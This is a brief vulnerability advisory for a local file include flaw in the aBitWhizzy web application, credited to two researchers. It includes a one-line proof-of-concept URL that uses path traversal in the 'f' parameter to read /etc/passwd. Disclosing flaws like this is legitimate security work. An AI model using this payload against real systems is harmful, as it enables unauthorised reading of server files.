vendor site: http://www.unverse.net/abitwhizzy/
product : aBitWhizzy
bug:local file include
global risk : high


http://site.com/abitwhizzy.php?f=../.../../etc/passwd


laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: saps.audit@gmail.com